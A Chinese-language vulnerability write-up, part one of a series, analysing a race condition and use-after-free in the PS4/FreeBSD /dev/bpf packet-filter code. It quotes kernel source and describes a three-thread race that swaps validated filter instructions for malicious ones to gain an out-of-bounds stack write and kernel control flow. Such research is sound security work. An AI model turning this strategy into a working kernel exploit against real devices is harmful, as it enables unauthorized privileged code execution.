0（root用户的UID）设为第三个参数（表示属主）对应的寄存器的值。然而，这里的权限位被设置为0x1B6，其对应的八进制值为0666，这就意味着任何人都可以读/写权限打开/dev/bpf文件。我不明白为什么会出现这种情况，根据qwerty的推测，可能是由于bpf用于局域网游戏的缘故。但无论如何，这都是一个糟糕的设计决定，因为bpf通常被认为是有特权的，所以不应该允许不可信的进程（比如WebKit）来访问bpf。在大多数平台上，/dev/bpf文件的权限将设为0x180或0600。
**什么是竞争条件**
* * *
这里的漏洞的类型被称为“竞争条件”。在讨论该漏洞细节之前，读者必须先了解竞争条件是什么以及它们是如何引发安全问题的（特别是在内核中）。在复杂的软件（如内核）中，各种资源通常都是需要进行共享的（或者说是“全局”的）。也就是说，一些线程可能会执行某段访问一些资源代码，与此同时，其他线程已经在访问这些资源。如果一个线程要访问某资源，而另一个线程也在访问该资源，并且没有使用独占访问方式，这时将会发生什么情况？肯定会出现竞争条件现象啊！
所谓竞争条件，是指由于事件发生的顺序与开发人员预期的顺序不符而导致未定义行为的反常现象。在简单的单线程程序中，是不会出现这种问题的，因为执行过程都是线性的。当代码并行运行的时候，这就会成为一个真正的问题。为了防止这些问题，人们引入了原子指令和锁机制。当线程A想要访问关键资源时，需要先请求锁定该资源。如果另一个线程B已经在使用这个资源，那么请求锁定该资源的线程A将进入等待状态，直到线程B释放对该资源的锁定为止。每个线程在用完资源后，都必须释放对资源的锁定，否则就可能导致死锁。
就算引入了锁定机制（如互斥锁），事情也没有想象的那么简单——开发人员还必须得正确使用它们才行。例如，如果一段共享数据已经得到验证和处理，但在对数据进行锁定时，数据还是合法的吗？我们知道，验证和锁定之间存在一个时间窗口，而数据在此期间有可能发生改变，所以尽管开发人员认为数据已经过验证，但数据在验证之后、使用之前可能已经被恶意数据所替换。实际上，并行编程是一项非常有挑战性的任务，特别是作为开发人员，通常不希望在锁定和解锁之间插入太多代码，因为这会影响性能。
有关竞争条件的更多信息，请参阅此处的Microsoft页面。
**关于数据包过滤程序**
* * *
由于该漏洞出现在过滤程序系统中，因此了解包过滤程序的基本知识是非常重要的。过滤程序本质上是一些伪指令集，它们都是通过bpf_filter()进行解析的。虽然伪指令集非常小，但可以用来完成诸如执行基本算术运算和在缓冲区内复制值等操作。在这里，我们不会对BPF
VM的进行全面深入的介绍，相反，我们只需知道它生成的代码是以内核模式运行的就可以了——这就是针对/dev/bpf的读/写操作需要具备相应特权的原因。
如果读者对BPF
VM的操作码感兴趣的话，请访问<http://fxr.watson.org/fxr/source/net/bpf.h?v=FREEBSD90#L995。>
**界外写原语**
* * *
下面，让我们看一下bpf_filter()中“STOREX”助记符的处理程序，具体代码如下所示:
u_int32_t mem[BPF_MEMWORDS];
// ...
case BPF_STX:
mem[pc->k] = X;
continue;
对于漏洞利用代码开发人员来说，这正是我们最感兴趣的东西。如果我们可以将pc->k设为任意值，就可以创建一个用于堆栈的界外写原语。这对于我们来说是非常有用的，例如，可以使用它来破坏存储在堆栈中的返回指针，这样bpf_filter()返回时，就可以启动一个ROP链了。这种情形是非常理想的，因为该攻击策略不仅动静小，而且也很稳定，因为根本不必担心典型的栈/堆溢出所引发的各种问题。
不幸的是，这些指令需要通过检验后才能运行，因此，在设置pc->k的值的时候，一旦它超出mem边界，就无法通过验证。然而，如果在通过验证之后，使用恶意指令替换原代码的话，会出现什么情况呢？
很明显，这会导致“检查时间和使用时间”（TOCTOU）问题。
**竞争，替换**
* * *
**设置过滤程序**
* * *
如果我们考察一下bpfioctl()的代码，会发现其中有许多的命令，有的用于管理接口，有的用于设置缓冲区属性，当然还有命令用于设置读/写过滤程序（这些命令的清单可以在FreeBSD的手册中找到）。如果我们传递“BIOSETWF”命令（在低层用0x8010427B表示）的话，系统会调用bpf_setf()为给定设备设置过滤程序。
case BIOCSETF:
case BIOCSETFNR:
case BIOCSETWF:
#ifdef COMPAT_FREEBSD32
case BIOCSETF32:
case BIOCSETFNR32:
case BIOCSETWF32:
#endif
error = bpf_setf(d, (struct bpf_program *)addr, cmd);
break;
如果仔细考察这些指令被复制到内核后的情况的话，就会发现其后马上就会运行bpf_validate()，这意味着现在还不能让pc->k的值出现越界访问。
// ...
size = flen * sizeof(*fp->bf_insns);
fcode = (struct bpf_insn *)malloc(size, M_BPF, M_WAITOK);
if (copyin((caddr_t)fp->bf_insns, (caddr_t)fcode, size) == 0 && bpf_validate(fcode, (int)flen)) {
// ...
}
// ...
**所有权维护的缺失**
* * *
前面，我们已经考察了用于设置过滤程序的相关代码，现在，让我们来看看使用过滤程序的那些代码。当进程针对有效的bpf设备调用write()系统调用时，系统就会调用函数bpfwrite()。这一点，可以从bpf的cdevsw结构的函数表看出来：
static struct cdevsw bpf_cdevsw = {
.d_version = D_VERSION,
.d_open = bpfopen,
.d_read = bpfread,
.d_write = bpfwrite,
.d_ioctl = bpfioctl,
.d_poll = bpfpoll,
.d_name = "bpf",
.d_kqfilter = bpfkqfilter,
};
用户可以通过bpfwrite()函数将数据包写入接口。并且，对于传递给bpfwrite()函数的所有数据包，都需要接受为该接口设置的写入过滤程序的相应检查。而该过滤程序则是通过IOCTL进行设置的，具体详情请见下文。
首先，该过滤程序会进行权限检查（在这里用处不大，因为在PS4上，任何不受信任的进程都可以成功执行写操作，毕竟所有人都有读写该设备的权限），并在调用bpf_movein()之前设置一些缓冲区。
bzero(&dst, sizeof(dst));
m = NULL;
hlen = 0;
error = bpf_movein(uio, (int)d->bd_bif->bif_dlt, ifp, &m, &dst, &hlen, d->bd_wfilter);
if (error) {
d->bd_wdcount++;
return (error);
}
d->bd_wfcount++;
下面，我们再来看看bpf_movein()函数。
*mp = m;
if (m->m_len < hlen) {
error = EPERM;
goto bad;
}
error = uiomove(mtod(m, u_char *), len, uio);
if (error)
goto bad;
slen = bpf_filter(wfilter, mtod(m, u_char *), len, len);
if (slen == 0) {
error = EPERM;
goto bad;
}
请注意，bpf_movein()中肯定没有实现锁定操作，而且在调用方函数bpfwrite()中也没有实现锁定操作。因此，这个在设备上执行给定过滤程序程序的函数bpf_filter()，完全是在解锁状态下被调用的。此外，bpf_filter()本身也没有执行任何锁定操作。在执行写入过滤程序的过程中，没有对所有权进行相应的维护，实际上，这里根本就没有获取所有权的操作。如果在设置过滤程序时，令其通过bpf_setf()函数检查后用free()函数释放其内存，然后在过滤程序执行时用无效指令重新分配内存的话，将会出现什么情况呢？
通过让三个线程（一个进程会设置一个有效的非恶意过滤程序，另一个进程设置一个无效的恶意过滤程序，还有一个进程尝试连续对bpf结构执行写操作）互相竞争，就可能出现这样的情形（并且该情形很容易被攻击者所利用），那就是有效的指令会被无效指令所替换，这样，我们就可以修改pc->k的值，从而可以在堆栈上实现溢出攻击了。
**释放过滤程序**
* * *
我们需要这样一个函数，要求它在运行的过程中触发UAF漏洞的，同时，还能够利用另一个线程释放该过滤程序。为此，可以查看bpf_setf()函数的代码，请注意，在为过滤程序指令分配新缓冲区之前，该函数首先会检查是否存在旧的缓冲区——如果存在则会将其销毁。
static int bpf_setf(struct bpf_d *d, struct bpf_program *fp, u_long cmd) {
struct bpf_insn *fcode, *old;
// ...
if (cmd == BIOCSETWF) {
old = d->bd_wfilter;
wfilter = 1;
// ...
} else {
wfilter = 0;
old = d->bd_rfilter;
// ...
}
// ...
if (old != NULL)
free((caddr_t)old, M_BPF);
// ...
fcode = (struct bpf_insn *)malloc(size, M_BPF, M_WAITOK);
// ...
if (wfilter)
d->bd_wfilter = fcode;
else {
d->bd_rfilter = fcode;
// ...
if (cmd == BIOCSETF)
reset_d(d);
}
}
// ...
}
因为bpf_filter()复制了一份d->bd_wfilter，所以，当在一个线程中为替换该过滤程序而调用free()函数释放其空间后，第二个线程还在使用相同的指针(现在已经调用过free()函数了)，从而导致UAF漏洞。因此，试图设置无效过滤程序的线程实际上在进行堆喷射，并最终分配到相同的地址。我们的三个线程将执行以下操作:
* 不断地设置含有有效指令的过滤程序，并可以通过验证检查。
* 不断地设置含有用无效指令的另一个过滤程序，释放旧指令内存空间并用新指令（我们的恶意指令）替换旧指令。
* 不断地对bpf结构执行写操作。最终，“有效”过滤程序将被无效的过滤程序所破坏，但是这个过程是在过滤程序经过验证检查后发生的，所以write()使用它时就会出现内存损坏错误。通过精心制作的指令，可以覆盖堆栈上的返回地址，这样就能够控制内核模式下的代码执行流程了。
**小结**
* * *
在本文的上篇中，我们介绍了竞争条件的概念，以及数据包过滤程序的相关知识。同时，还介绍了引发竞争条件方法，以及如何替换经过验证的数据的准备知识，在下篇中，我们将为读者进一步介绍利用该内核漏洞的详细方法。 | 社区文章 |
Subsets and Splits